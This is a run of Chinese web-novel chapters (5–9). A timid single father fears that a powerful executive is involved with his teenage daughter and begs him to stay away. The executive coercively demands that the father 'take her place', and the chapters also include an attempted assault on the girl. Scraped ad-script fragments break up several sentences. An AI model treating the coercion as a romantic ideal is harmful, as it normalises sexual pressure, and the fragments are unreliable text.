陈斫还以为卫祥开始识时务知道要好好对温真了,点点头。 “我和刘总说一下。” 卫祥却想,以温真那个性格,在聚会上出丑应该很容易吧。 温真开始和卫祥交接《幽境》这个IP。 因为卫祥在开始做的时候便多次找温真帮忙,所以温真对《幽境》并不陌生,卫祥之前做了一些分镜稿,按理来说应该也交给温真的,可是他告诉温真忘记保存了。 这话被隔壁的阿美听到了,偷偷在心里吐槽。 作为画手应该都知道稿子丢失的重要性,所以一边画一边保存,去倒杯水上厕所都要狂点保存,卫祥又不是刚入行,怎么可能犯这么低级的错误。 温真没有说什么。 他接手卫祥的工作后,一直忙到看到同事们起身,才知道已经中午了,他去楼下的便利店买了一个饭团,又回到工位上,边吃边看《幽境》的原著小说。 电话响的时候,温真脸颊晕红,几乎是受了惊吓一样。 温真只知道《幽境》是部情感很复杂的小说,没想到是男人和男人的爱情故事。 也没想到里面有那么多男人和男人……戏份,甚至作者会在禁止的尺度下很详细地描写…… 看到是林老师的来电,温真平复心情后立即接通了。 “钰宁上午给我请了假,说不舒服要回家,我打电话是想问一下,钰宁好点了吗?” “请假……宁宁没有和我说……” 温真生出不好的预感,他挂了林老师的电话,联系王奶奶。 “王奶奶,你现在在家吗?” “能不能麻烦您去我家看看,宁宁在不在家?” 没一会儿王奶奶给他回信,“你家里没人啊。” *** 泾市红纱海滩停泊着一艘三层的轮船。 轮船在波光粼粼的海面上发出莹润的光。 侍应生站在轮船的出入口。 “秦总。” 秦妄西装革履,带着两个助理上了船。 今天他约了几个公司的总裁在上面谈事情。 秦妄约的人也到了,侍应生正要关闭轮船门,穿校服的少年一只脚踏进船舱。 “宁宁,你稍等一会儿,一会儿我带你上船,这船是去北海岛的,岛上可漂亮了。” 秦宝章对身后的付钰宁说着。 “抱歉,这是私人船只,不接待外人。” “我不是外人,我小叔刚刚上去。”秦宝章道。 侍应生看他们两个穿着校服,还以为是调皮的小孩子在捣乱。 “抱歉。” 秦宝章气坏了。 可是他是偷偷带着付钰宁来的,也不敢去找秦妄。 “算了,要不回去吧,在海边坐坐挺好的。”付钰宁道。 “宁宁,你放心,我有办法上去。” 刚说完他便看见了赵程。 “赵助理,你快和这个侍应生说我是不是秦妄的亲侄子。” “秦宝章,你不在学校上课来这里干什么,你是不是逃课了,秦总知道肯定揍你。” “才没有,我请了假的!” “赵哥,赵哥,求求你,你让我们上去吧。” “放你上不上来,我得请示一下秦总。” 轮船破开海面,往北明岛出发,秦宝章缩着脖子站起秦妄跟前。 “小叔,你不知道我们班现在有多压抑,再待下去不出来透透气,我和宁宁都要疯掉了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 秦妄沉着脸扬起鱼竿。 秦宝章是家里最小的孩子,被惯坏了,天不怕地不怕,却唯独怕秦妄,尤其是秦妄沉着脸时。 秦宝章以为他要揍自己,吓得抱住脑袋,结果秦妄只是把鱼竿放进旁边的箱子里。 关上箱子后,秦妄看了他身后的付钰宁一眼。 “你带她出来,她父母知道吗?” 北海岛不算远,但要想旅途舒适一点,便要两天之内返程,秦宝章男孩子没什么事。 “叔叔,你放心,我爸爸知道……”付钰宁撒谎。 秦妄却又道:“晚上再给你父母打个电话。” “秦总,到时间了。”路明远提醒他。 秦妄看了看表,临走时对秦宝章道:“饿了去二楼的餐厅吃点东西。” 轮船是秦妄前些年买下的,专门用来海钓的,偶尔约人谈事情会带人来这里,为此特地在三层设立了一个全海景的办公区域。 秦氏集团主要是以工业为主,由他接手后才慢慢分支到互联网,最近他有涉及文娱这方面的打算。 他这次约的人都是此行业的人,又细分到年轻人喜爱的动漫领域。 “现在自己创作的作品,很难出头,一般都是去买一些原本便有热度的作品来做改编。但根据已有的进行改编也有坏处,比如很容易和读者心中的预期背离。想解决这种困境,就要看画手是否能理解作者创作出来情节的真正意义了。” “程总说得没错。” “像我们公司最近买了好几个IP,正准备过几天去云意举办的宴会上接触一些合适的工作室和画手。” “我记得之前有个叫橙风的工作室,他们出来的作品质量还不错。” “对,我之前买下的《幽境》就和他他们合作。” “这个也不好说,之前我也找过他们,但结果差强人意。” 侍应生开好了香槟,秦妄喝了一口后,将酒递给旁边的侍应生,然后解开袖口,将衬衣袖子挽起来,认真听着。 “如果秦总有空的话,到时候可以去云意的宴会上看看。” 程总发出邀约。 秦妄没有拒绝。 另一边秦宝章带着付钰宁到餐厅吃饭。 “宁宁,不和你爸爸说真的没事吗?要不还是和你爸爸说一下吧,我担心……” 秦宝章没见过付钰宁的爸爸,但知道付钰宁的爸爸很在乎付钰宁。 “晚上吧。”付钰宁看着外面的海面。 赵程远远走过来,“秦宝章,秦总找你。” “秦夫人打电话给秦总了。” “我妈?” “你没和秦夫人说你跟着秦总上船了?” “没说,我和小叔在一起说不说不都是一样。” 赵程不置可否。 秦宝章带着付钰宁到甲板上时,秦妄的电话刚挂。 秦妄没搭理秦宝章,而是又问了付钰宁一次,“你父母知道你跟着秦宝章出来。” 秦宝章没说,想到她刚才的模样,估计是跟着秦宝章偷偷跑出来。 不太好的语气,这预示着秦妄快要生气了,秦宝章又开始缩脖子。 付钰宁也有点发怵,她抿唇没说话。 “现在打电话给你父母。” 付钰宁刚掏出手机手机便响了。 “宁宁,林老师,林老师刚刚和我说你请假了,你怎么没和爸爸说……” 因为忘记关扩音,男人焦灼带着恐惧的声音让在场的所有人都听到了。 付钰宁慌忙把扩音关上,然后看了一眼秦妄的脸色,走到一旁通电话。 付钰宁打完电话回去。 秦妄打量她,“你爸爸是谁?” 6. 第 6 章 轮船在快要到达北海岛时又忽然返程,晚上八点钟抵达红沙海滩。 秦妄坐上驾驶座,秦宝章问,“小叔,你要送宁宁回家?” 秦妄发动车子。 “大概十点钟到。” 秦宝章立即明白秦妄的意思。 “快和你爸爸说一下,别让他担心。” 付钰宁给温真拨去电话。 电话响的时候温真没有关灯便下楼。 即使离付钰宁到家还有一个小时,温真还是到小区门口等女儿。 他站在昏暗的路灯下,心在嗓子眼提着,脑子里不好的想法纷纷往外涌。 每次说是和同学出去时都上了那辆库里南,这次会不会又是。 过了一个小时后,不好的想法便印证,温真看着那辆黑色的库里南缓缓开过来。 车子停在温真一米处,先下来一个和付钰宁差不多大的男孩子。 他有些愧疚地和温真打招呼,“叔叔好。” 温真呆呆的,连回应都没有回应。 然后是付钰宁下来,温真这才像是活过来。 他快步来到付钰宁跟前,从头到脚地打量她,看她有没有受伤。 温真眼眶发红,真的要担心坏了。 “我没事……对不起。”付钰宁垂头。 温真确认她全须全尾没事后,将目光落在了驾驶座的位置。 两个人都是从后座下来的,也就是说驾驶座上还有一个人。 “是,是谁送你回来的?”温真声音发颤。 “是我小叔。” 男同学的叔叔…… 温真的脸开始白了。 似是感知到温真的目光,车门打开,男人下车,那是个异常高大的男人,西装革履,头发一丝不苟往后梳,尊贵又极富有压迫感,是常年身居高位才有的气魄。 温真瘦弱的双肩抖起来,内心的不安已经达到顶点。 驾驶座的车门在对面,男人绕一圈,从昏暗的夜色走到光照范围内,然后幽沉的脸正对温真。 温真瞳孔骤缩。 *** “我不是故意的,我本来是想晚点打电话给你的。” 温真站在厨房切菜的台子前,他很瘦,几乎到了形销骨立的地步。 付钰宁记得温真以前很挺拔,后来妈妈去世,她生病,温真的脊背便开始弯掉了。 想起刚才回来时温真整个人木木呆呆,像是精神上受到巨大的打击,魂魄都散了。 这是付钰宁第二次见到。 第一次是她妈妈死的时候。 付钰宁本来觉得和秦宝章请假出去不是什么大事,现在也害怕起来。 “对不起,我以后不会了。” “爸爸,爸爸没有怪你,你饿了吗?爸爸给你煮碗面好吗?” 温真没有回头看她。 “我在船上吃过了。” “那你去休息吧,明天早上爸爸送你去学校。” 付钰宁在厨房门口站了一会儿,然后走向洗手间。 听到离去的脚步声,温真像是要站不稳了,两手颤抖撑着台面,黑夜的窗户变成了镜子,照出温真惨白的脸。 深夜,温真坐在付钰宁的床头,他抚摸她的脸颊,替她掖好被子,怜爱的目光很快被痛苦取代。 他不知道为什么会这么巧,和他发生……那种事情的人正好是女儿的早恋对象。 他年纪比女儿大那么多,看起来那么可怕…… 温真现在还清晰地记得在酒店三天,他几乎是濒死的状态…… 要是他和女儿…… 温真毫无血色的嘴唇哆嗦起来。 他捂住脸,不敢再想下去。 第二天温真送付钰宁回学校,温真站在门口,眼睛一眨不眨地看着付钰宁进入校门,才打算走。 他忧心忡忡地低头。 “钰宁爸爸,钰宁身体好些了吗?” 温真一抬头,原来是林云。 她穿了一件粉色的裙子,勾勒出玲珑的身材,长长的头发半扎起来,看起来娴静温柔。 温真局促,“好多,好多了。” “你脸色看起来不太好,是不是照顾钰宁太累了。” “嗯,嗯。” “钰宁爸爸,你晚上有空吗?我想和你聊聊钰宁最近在学校的表现。” “有的,有的。” “那我们晚上见。” 林云走远了,温真还怔怔看着她的背影,回过神来面容变得苦涩。 温真到公司,埋头进入工作中,转眼到了晚上,他没有像往常一样加班,准时打卡赶地铁到林云和他约定的地点。 他们约在学校附近的商场里。 商场入口有一家花店,店员在门口招揽客人,遭到很多人的拒绝,很快目光锁定温真。 “先生,是和女朋友约会吗?买一束花吧。” 店员带着恳求,不善于拒绝的青年手里很快多了一束他们店里最热销的郁金香。 *** 秦氏集团大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 楼高层,秦妄凝神看着底下的人呈上来的方案。 他坐在首席,左右手分别是集团的元老,大家正襟危坐,观察着秦妄的脸色。 直到秦妄下达指令后,才纷纷松了一口气。 七点钟会议结束。 路明远在门口:“刚才秦夫人打电话过来,说让你顺便接秦宝章回去。” 今天是他们父亲70岁大寿。 “赵程呢?”秦妄问。 “在跟进律师处理最近的员工纠纷。” “不然我开车送您?” 秦妄穿上外套,整理好领口,“不用了。” “你们也回去吧。” 秦妄乘坐高层电梯到地下车库,库里南车灯闪烁。 秦妄启动车子,开到泾市第七中学。 秦宝章爬上车,“小叔,你的手机给我用一下,我给我妈打个电话。” “你的呢?”秦妄掉头。 “我上学都不带手机。” “你觉得我会信。”秦妄冷哼一声。 “宁宁晚上睡不着觉,我把手机给她玩了。” 苍白担忧的脸在脑海中闪过。 秦妄沉声,“你自己不好好学习,不要耽误别人。” “以后带人出来玩,要让对方的父母知道。要是再和上次一样,秦宝章,我饶不了你。” 训完他,秦妄把自己的手机给他。 秦宝章给秦夫人打完电话后,车子正好路过学校附近的商场。 “小叔,停一下,停一下!” “我要下去买点甜点。” 商场有家很出名的糕点店,里面的提子酥秦宝章和付钰宁都很爱吃。 时间还充足,秦妄找了个地方停车,秦宝章下去走了一半又回来,“我身上没钱……” 秦妄下车给他结账。 晚上了,人有点多,秦宝章排队,秦妄低头处理公务。 秦宝章无聊,眼睛在商场里乱看,目光忽然聚焦在甜品店对面的一家粤菜馆前。 他先看见了他的英语老师。 英语老师旁边站着一个男人。 “小叔,我看见宁宁的爸爸了。” “他好像在和我们英语老师约会,还送给我们英语老师花呢。” 秦妄抬起头。 不远处的瘦弱的男人拿着一束郁金香,有些紧张地送给旁边穿裙子的女人。 女人接过后对他笑了笑,男人苍白的脸颊涌起一抹红晕。 接着两个人一起进入餐馆。 7. 第 7 章 “小叔,小叔……” 轮到秦宝章结账,秦宝章叫了秦妄好几声。 回去的路上,秦宝章东倒西歪地靠在车门上,“宁宁到底喜不喜欢我啊?” “她上次知道我没吃早饭,特地把自己的早饭给我,应该是喜欢我的。” “可是,她还和班长有说有笑……” “小叔,你觉得她喜欢我吗?” 秦妄:“不喜欢。” 这句话让秦宝章气急败坏,口不择言,“才不是,你根本不懂,我看你喜欢的人才不喜欢你!” 说完秦妄立即捂住自己的嘴巴,偷偷看秦妄的脸色。 男人盯着前方,眼底露出几分阴翳。 秦宝章缩起脖子,可又觉得秦妄这副模样并不是冲自己。 车子从城南一路开到文山的半山腰,那是一片别墅区,其中一栋年头旧一点,相比于其他现代化的配色,它更古色古香一点,有点像老式的洋房。 墙壁上攀爬着铁线莲,粉白色的花瓣簇簇拥拥一大团。 镂空大门缓缓打开,库里南驶入进去。 车子一停,秦宝章逃似得下车,大叫:“妈咪,妈咪!” “爷爷!爷爷!” 一位体态丰腴的妇人走出来,她穿了一件真丝的连衣裙,脖子、耳朵、指头上都戴着碧绿碧绿的翡翠,面容显得慈静。 “宝章,慢一点,别摔到了。” “你小叔呢?” “后面。” 说着秦妄便从车库走过来了。 秦夫人露出笑容,“爸爸在等你呢。” 秦妄颔首。 这房子外面看有点古旧,里面的装潢也是采用中式的。客厅清一色的乌金木家具,南方那一面墙,从二楼到一楼全部用成了玻璃,外面是郁郁葱葱的竹林。 房子是回形,二楼外沿围了一层栏杆,中间吊下来一盏吊灯。 年近70的秦富威就在吊灯地底下的桌子坐着。 他头发花白,但精神抖擞,手里握着一根拐杖,露出笑容,“坐下吧。” 秦妄是他最小的儿子,也是他最疼爱的儿子。 一旁的秦舢也跟着笑,“路上没堵车吧。” “爸爸,没有,小叔还带我买了吃的。”秦舢看见秦宝章举起一盒子甜品,脸绷起来,“少吃点这些东西,里面放得不知道东西。” “哎呀,你这个人,宝章又不是经常吃,偶尔吃一次。”秦夫人也入座。 六个位置,坐了五个人,还有一个空缺。 秦富威看了一眼那个位子,浑浊的眼球露出一丝情绪。 秦夫人见状,赶紧让人上菜。 吃饭期间,秦夫人忽然拿出几张照片,“这个是我精心挑选的女孩子,你看看有没有喜欢的。” 秦妄没有往照片上扫,“没空。” 秦富威绷起脸,“你去马场有空,和人一起吃个饭没空。” 秦宝章扒着碗里的饭,给他小叔解围,“爷爷,小叔有喜欢的人了。” 秦妄冷冰冰的视线扫过来。 爷爷和爸爸都在,秦宝章暂时有了点胆量。 而且他认为自己不是在撒谎,如果是以前,秦宝章说‘你喜欢的人不喜欢你。’,秦妄估计只会冷笑一声,而不是露出那样的神色。 “宝章说得是真的?” 秦妄没有否认。 秦夫人笑,“那这是好事啊。能不能带回来让我们见见?” “她多大,父母是做什么的,你放心,爸爸不是那么势力的人,就算家里条件不好也没关系。” 秦妄擦手,“27岁。” “比你大三岁啊,那挺好的,女大三,抱金砖。”秦夫人笑。 “他家人呢?” “带一个女儿。” 带着一个女儿也,也没关系……只要你们是真心相爱就好了。” 秦夫人笑容变得勉强。 “他是男的,大概金砖是报不成了,而且,”秦妄靠在椅背上点烟,“他对我并没有意思。” 整个客厅瞬间鸦雀无声。 随即秦富气急败坏的声音,“小兔崽子!” 秦舢和秦夫人也被吓坏了,惊疑不定地盯着男人。 可男人面色如常,并不像开玩笑的样子。 害怕秦富威气出好歹来,秦夫人让秦宝章带着他先回房间。 等老爷子一走,秦夫人劝道:“是不是我和爸爸逼你逼得太急了,你才故意气我们,你要是不想那么早结婚,我和爸爸便不逼你了。” 秦妄斜睨她,“我像是开玩笑么?” “就算是真的,可对方并不喜欢你啊。” 对方是不是喜欢女孩子,”秦夫人接着劝,“你不能强求别人啊。” 秦妄掩下眼底的阴翳。 “为什么不能强求呢。” *** 等菜的期间,温真去了一趟洗手间,他出来的时候,忽然瞥见一道身影。 温真脸色瞬间苍白起来,急匆匆地返回到餐馆。 回到餐馆还心有余悸,长长的睫毛颤动着。 “钰宁爸爸,你怎么了?” “没事,没事……”温真挤出一个惨淡的笑容,“宁宁最近在学校,表现得不好吗?” 林云没有直说好不好,“这一周已经有两科的老师和我反馈钰宁在课堂上顶撞他们。” “还有同学和我说,钰宁欺负同学。” “顶撞,顶撞,欺负同学?”温真难以相信,“是不是,是不是弄错了,宁宁怎么会做这样的事情。” “她很乖的……”温真急切地解释,“在家她会帮我很多事情。” 这个时候林云收到一则短信,她看了一眼后便给温真看。 -林老师,你们班的付钰宁越来越过分了,今天晚自习我发现她玩手机,让她把手机上交,她还不给。 “怎么会,宁宁怎么会……”温真还是不肯相信喃喃道。 “钰宁之前表现挺好的……”林云斟酌,“大概是发现她早恋后,开始和以前不一样了。” “近朱者赤近墨者黑,钰宁爸爸你应该也明白这个道理,成绩下滑当然重要,可更重要的是如果孩子跟人学坏,走上一条不归路就不好了。” 不归路…… 温真想起男人冷厉的脸,颤抖的脊背又弯下去几分。 木讷的青年失魂落魄地回到家,翻来覆去一夜没有睡着。 第二天早上上班,同事聊最近的娱乐新闻。 “这个陈沁真可惜,原本多火啊,后来和秦商文谈恋爱,堕胎当街打人什么的不说,现在又染上了毒品,一辈子彻底毁掉了。” “秦商文这个人也真是可怕,之前网上不是一直在传他杀过人,所以才去了国外。” 同事上班前闲聊司空见惯,以往温真并不参与,只是埋头工作,可是秦这个姓氏让他心脏砰砰跳,眼睛盯着电脑屏幕,可心思全在他们聊天内容上。 “真的假的?” “我感觉是真的,秦商文可是秦家的二儿子,原来秦氏集团的总经理,像他们这种身份的人就算杀过人也很容易逃脱吧。” “就算没有杀过人,你想想他之前的几任女朋友哪一个有好下场,不是疯了,就是坐牢了。” “现在新上任的秦妄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我感觉他也挺可怕的……” 杀人,秦氏集团,秦家二儿子,这些字眼争相往温真的耳朵里跳,原本便没有休息好的他,脸色几乎是灰青色的,脑海争相浮现出女儿吸毒后被杀害的场景,心脏恐惧到骤停,然后又急促地跳动…… 到了周五,温真刚赶上地铁,女儿发来短信。 -不用来接我了,我要和同学一起吃饭,会晚点回家。 以前付钰宁也会这样,那时候温真会很高兴,会问她钱够不够。 可现在他坐在地铁上,脊背弯着,打字的手都在抖。 -去什么地方吃饭? -吃完爸爸去接你好吗? -是和那个男同学吗?还是和垚垚? 付钰宁只回了一条。 -好几个同学。 之后温真再发过去短信,便没有回复了。 温真在家里一直等到九点钟,听见门响,他慌忙迎上去。 淡淡的酒味传来。 温真白着脸,“宁宁,你,你喝酒了?” 付钰宁本来想说尝了一点,可一抬头发现温真紧张到几乎恐惧的脸。 “没喝,同学喝了,估计是染上了吧。” “这样,这样啊……” 不是的,酒味是从她嘴巴里传来的,为什么要骗他,温真颤抖。 “饿不饿?要不要爸爸给你煮粥?” 付钰宁忽然推开他,跑到洗手间,抱着马桶吐。 付钰宁一额头的汗,瘦小的脸蛋也白起来。 温真吓坏了,跪在地上给她拍背,“怎么,怎么会吐成这个样子,爸爸带你去医院好吗?” 付钰宁吐完了,温真给她擦嘴。 “应该晚上吃太多了。” 扶着她起来的时候,温真又看见她脖子上有几块红点。 他想到自己在酒店里看到自己身上的痕迹…… 这也是……被人亲出来的吗? 是被那个男人吗? 温真心直直往下坠。 看着付钰宁睡着了,温真才回房间。 房间没有开灯,他在黑暗中翻看关于秦氏的新闻。 这种大集团都有公关,负面新闻出现在网络上很快便会被清理掉,温真只能搜到一些秦氏集团未来投资的方向,秦家的二儿子的情感绯闻和犯罪的猜测,即使搜到,也是很隐晦的只言片语。 甚至在陈沁的微博底下看到秦商文的名字也会使用字母这样的缩写,可即使这样每也会很快被删除。 钱和权就是这么厉害,不仅可以清理掉负面新闻,也可以让犯罪的人逃脱惩罚。 年轻一点时温真会相信秦妄这样的人会真心喜欢自己的女儿,可是现在…… 他没有办法相信…… 而且女儿和他在一起后,变得会顶撞老师,欺负同学。 明明女儿以前很乖巧的…… 他甚至觉得,也许秦妄和秦商文一样,只把自己女儿当成一个玩物,玩够了就会肆意地伤害…… 他关上手机,做出一个决定。 第二天一早,付钰宁起床,桌子上放着早餐,没有看见温真。 手机收到一条短信。 -爸爸今天有些事情,中午可能不回来了。 付钰宁以为他去公司加班了,发了一个好的表情包便开始吃早饭。 那个表情包是一个扎两个小辫子的小女孩,温真觉得她很像宁宁小时候,每一次看到心中都会一片柔软,可是此刻,温真眉头蹙着,满是忧愁。 外面的树影飞快掠过,温真坐在出租车上,正要去城北的马场。 他要去那里见秦妄。 8.第 8 章 温真是被一个穿迷彩的男人带进去的。 放眼望去是一望无际的草地,在他左边坐落着一栋别墅样式的房子。 穿迷彩的男人告诉他,这是男人的私人马场,那栋房子是专门用来喂马。 怪不得那天他跟着女儿来这里,却正巧碰见男人……想到这里,温真又是一阵颤抖。 等温真打量完马场的环境,男人又带他进入马房。 里面是全木质的,分成两排,每一排都被隔断成几个宽阔的空间,大概有十匹马左右。 其中有一匹是栗色的,头部下面有白斑,和他女儿差不多高。 还有一匹小马驹,拱在白马身体底下吃奶。 两个男人拿着草料进来,应该是要喂它们。 温真知道马是温顺和忠诚的动物,他并不害怕它们,甚至对那匹还在吃奶的小马驹产生了怜爱的感情,如果是以前,他也许会鼓起勇气摸一摸它们,可是现在……温真匆匆打量过后便跟着穿迷彩的男人上了马房的二楼…… 穿迷彩的男人止步在木门前。 “秦先生在里面等你……” 温真站在那里,颤抖地推开了门。 房间是昏暗的,里面大多的家具也是暗红色的,在光线不充裕的空间里连成黑黝黝的一片,像蛰伏的猛兽,温真要见的男人站在唯一的光源窗户前。 他倚在窗户上,身姿依然挺拔,遮挡住的光勾勒出他健硕的肩颈和肌肉贲张的手臂…… 那双凹陷在眼窝里的眼睛,越发深邃,越发锐利,像狩猎猎物般牢牢锁住温真。 温真长长倾斜的睫毛颤动着。 秦妄离开窗户那里,房间瞬间明亮起来,他坐在猩红色的独坐沙发上,双腿交叠,抽出一根烟放在嘴里,骨节分明的手拢着火苗,点燃。 “找我有什么事情?”秦妄不徐不缓地开口。 “宁宁,宁宁还没有过17岁的生日,四年前做出一次手术,现在还要三个月到医院复查一次,她很乖……” 明明男人是坐着的,也没有露出任何凶残的表情,可在封闭的空间里和男人独处,温真还是汗毛林立,心脏都要从喉咙里跳出来了。 “求求,求求你,离开我女儿好吗?” 温真不知道该怎么办了,他没有钱和权力去对抗男人以及男人背后的家族,只能这样用这样可笑的方法来乞求男人,希望男人离开他女儿。 秦妄嘴里叼着烟,从窗户缓步来到温真的面前。 他面无表情地捏住温真的下颚,让他抬起头来。 然后将温真的头发往后拨,露出那双藏起来不肯看人的眼睛。 苍白的,几乎看见青筋的眼皮很薄,被眼珠顶住一个凸起的弧度,琥珀色的瞳仁,可以看见里面因为过于恐惧而快速散大的瞳线,一层水雾笼罩在眼珠上。 原来藏在头发背后的眼睛这么动人。 怪不得那天看见他送女儿回去会那么惊恐…… 他掐紧他的下颚,用力程度甚至让那双淡红色的唇瓣都微微张开。 秦妄重重滚动喉结,“好啊。” “那不如你来代替你女儿。” 代替…… 像是被人扼住了喉咙。 温真靠在门口,脸上的血色因为惊惧一点一点褪干净。 外面传来马儿的嚎叫声,秦妄放开他下楼。 马棚里,小马驹被白马踩在脚下,痛苦地嘶叫。 “怎么回事?”秦妄厉声。 “应该是小陈喂它的时候不小心受惊,所以才会……” “兽医来了吗?” “打过电话了,在路上。” 秦妄进入马棚里。 “秦先生,马会伤害你!” 秦妄充耳不闻。 秦妄一边叫着白马的名字,一边抚摸它的头部,白马弩张的神态慢慢松弛下来,秦妄趁机拉开它,同时示意工作人员。 工作人员很快将小马驹解救出来。 兽医也到了,检查一下小马驹,没什么大碍。 秦妄开始秋后算账,“为什么会受惊。” 马场里一共有四个工作人员,他们站在一排,低着头。 他们不说话,秦妄也不再问。 面无表情地盯着他们,这是男人最可怕的样子。 很快便有无辜地人告状。 “是因为小陈……小陈太心急,在白马喂奶的时候进去了……” 母马生产和喂奶时候,是最虚弱也是攻击力最强的时候,这个时候打扰到母马,母马便会受惊。 秦妄走到小陈面前。 他个子有些低,又因为害怕此刻的秦妄,姿态很显卑微,越发让男人看起来高大阴鸷。 “你应该知道怎么做吧。” 男人离开很久,温真还脸色惨白地站在那里,等他终于平复好心情出去时,正好听到男人冷声说的话。 “你应该知道怎么做吧。”森然的语气。 然后温真便看见两个工作人员拉着一个低矮的年轻人,把他拉出了马房,没多久外面传来惨叫声。 温真惊惧地咬住嘴巴…… 瞬间想起秦家二儿子杀人的新闻……秦妄对那个低矮的年轻人做了什么?打他了吗?会……杀他吗? 如果女儿惹他生气,他会不会也会做出残忍的事情…… 温真惶惶不安地想着血腥的画面,秦妄在一楼遥遥地望过来,黑沉沉的眼睛盯着他…… 温真扶住栏杆,整个小臂都在抖。 而外面。 “不是,就是让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你做个俯卧撑,你至于叫那么厉害吗?” 那个被拉出去的低矮男人气喘吁吁,“不是,我的体格也没办法和你们比啊。” “真的好累啊,胳膊好痛啊啊啊啊啊!我做不了!” “还有五十个呢,你该庆幸小马驹没出什么事,不然你就等着收拾东西滚蛋吧。” *** 似乎是要下雨了,马场被乌云密布。 温真看见自己的女儿正和那匹可爱的小马驹玩耍。 温真神色柔软。 然而画面忽然一转,那匹小马驹鲜血如注地躺在地上嚎叫。 高大阴鸷的男人出现了,他让人绑住女儿,拿着一把猎枪对准女儿的脑袋。 温真叫喊着,“不要!不要!不要伤害宁宁!求求你!” 可男人只是冷眼盯着他,然后扣动扳机。 砰—— 温真大汗淋漓地惊醒过来,才知道刚才只是一个噩梦,可心脏仍然恐惧到刺痛,温真脸色惨白捂住心口,足足过了十分钟才缓过来。 冷汗黏在身上,手脚都因为梦中惊悚的画面虚软无力。 又想起男人送他回来时留下的那句,“温先生,我等你的回复。” 原本便惨白的脸又白了几分。 到了周五,温真接到付钰宁。 回家的路上,温真挤出一个不太好看的笑容,“宁宁,爸爸,爸爸带你转学好吗?” “转学?为什么?”付钰宁低头看着iPad。 “我们去……另外一个城市。” “可我的朋友和同学都在这里。”付钰宁盯着他,“我很喜欢这里,我不想离开这里。” “你怎么了,从那天开始就不对劲。你是不是还在生我的气。”付钰宁又问。 “没有,没有,爸爸没有生你的气。”温真慌忙道:“爸爸只是说说,说说而已……” 温真不再说话,垂下头,心中一片无助和恐惧,如果男人不打算放过他们,即使他带着宁宁去到外地,对方也能找到他。 周六付钰宁依旧要出门,温真很想把她关起来,这样女儿就不会收到伤害了,可是,可是又明白这样是不对的,只好目送着她出门。 温真坐在沙发上,看着钟表从七点到十二点,又从十二点到七点。 天完全黑掉了,发给女儿那句‘宁宁,你什么回来,爸爸去接你好吗?’一直没有得到回复,温真的不安慢慢达到了顶峰…… 他像困兽一样在房间里踱步,脑子里不停出现女儿被伤害的画面,以及男人阴鸷沉郁的眼睛……焦灼和恐惧让他的心脏咚咚咚狂跳…… 就在他打算给女儿拨去电话时,女儿的电话打来了。 “爸爸,我现在在小区外面,我感觉有人一直跟着我。” 9.第 9 章 秦宝章要陪他爷爷钓鱼,这个周末没有约付钰宁玩。 付钰宁便和陈垚一起在学校附近的图书馆写作业,天黑才从图书馆出来。 她坐公交车到小区附近的车站,在车上的时候她便感觉有男人盯着她,但她没放在心上,可她一下车,男人也跟着她下车了。 新闻上那么多案例,付钰宁不会天真地以为对方住在附近,但她住的小区太偏了,即使还没有到半夜,人烟也稀少得可怜,她没办法去人多的地方,只能想尽办法加快脚步。 可对方大概也是看附近没什么人,胆子大起来,也跟着付钰宁加快了脚步。 付钰宁见状立即给温真打了电话。 温真匆匆赶到女儿发送位置时,便看见女儿被捂住嘴巴,被男人往旁边的草丛里拖。 女儿的书包掉在地上,里面的书本和笔落了一地。 这副画面让温真大脑空白,他攥紧手里的刀对准男人,“你,你放开她……” 男人没想到会有人出现,还拿着一把刀,他犹豫了一会儿,放开付钰宁飞快逃跑。 温真扔掉刀,慌忙将女儿抱在怀里。 付钰宁吓坏了,在温真的怀里小声地哭。 “爸爸,爸爸……” 温真也后怕得发抖,不敢想要是自己晚来一会儿会发生什么事情,他紧紧抱住女儿。 “没事,没事的,爸爸在,爸爸不会让任何人伤害你。” 温真机械地重复,又像是下了某种决心,不停地喃喃自语。 “爸爸,爸爸不会让任何人伤害你的。” “不会的,不会的。” 受到惊吓的女儿像回到了小时候,毛茸茸的脑袋枕在温真的腿上。 温真轻轻拍着她的脊背,给她唱她妈妈在世时候的儿歌,睡着的女儿蹭温真的胳膊。 从女儿上高中开始,女儿便不再和他亲近了,温真会有些落寞,可也欣喜于女儿的成长,现在女儿这么依赖自己,温真满心疼爱,静谧夜里,温真注视女儿的视线如平静的海面般温柔,可又很快痛苦起来。 也许女儿被人跟踪只是巧合,可是,可是温真还是忍不住想这是不是男人指使的,好让自己明白,他想伤害他的女儿是一件轻而易举的事情。 温真守着女儿一直守到半夜。 半夜女儿身体开始滚烫,整张脸也发红,温真叫醒她,她昏沉地睁不开眼睛,赶紧去客厅找来温度计,一量已经烧到38度了。 温真喂她吃了一颗退烧药,可是温度不仅没有下降,反而越烧越高了。 半夜交通停运,他没有车,只好叫了救护车。 在救护车上护士又量了一次温度,已经接近40度了。 到了医院抽血,拍CT,一系列检查流程结束,护士给付钰宁挂上点滴。 检查结果出来后,医生告诉温真,“幸亏来得及时,不然要烧成脑膜炎了。我看她的病历上,以前还得到肿瘤,病人身体本来就不好,以后注意一点,别让病人受惊过度,劳累过度,其他没什么大事,先住院一周观察观察吧。” 医生走后,温真靠着墙滑落,瘫坐在地上,瘦弱的肩膀抖得厉害。 温真先联系了林云给女儿请假,然后打电话给陈斫。 本来打算请三天的,可陈斫语气不悦,“温真啊,我刚把那么重要的事情交给你,你就请这么长时间的假……我最多给你一天的假,你看着办吧。” “陈总,陈总,我女儿病得很严重。” 陈斫没等他说完便挂了电话。 温真坐在病床前,脸比生病的付钰宁还白,还要脆弱。 护士过来给付钰宁换水,被青年的脸色吓了一跳,“家属,你没事吧?” 温真神思恍惚,过了会儿才反应过来,“没事,没事……” 到了第二天下午,付钰宁才有退烧的迹象,人也清醒过来。 温真紧绷的精神才稍微松下来。 到了晚上,温真嘱咐她。 “爸爸,爸爸明天要去上班,你有什么不舒服的,立马叫护士姐姐知道吗?” 生病的付钰宁很懂事,“嗯。” **‘’ 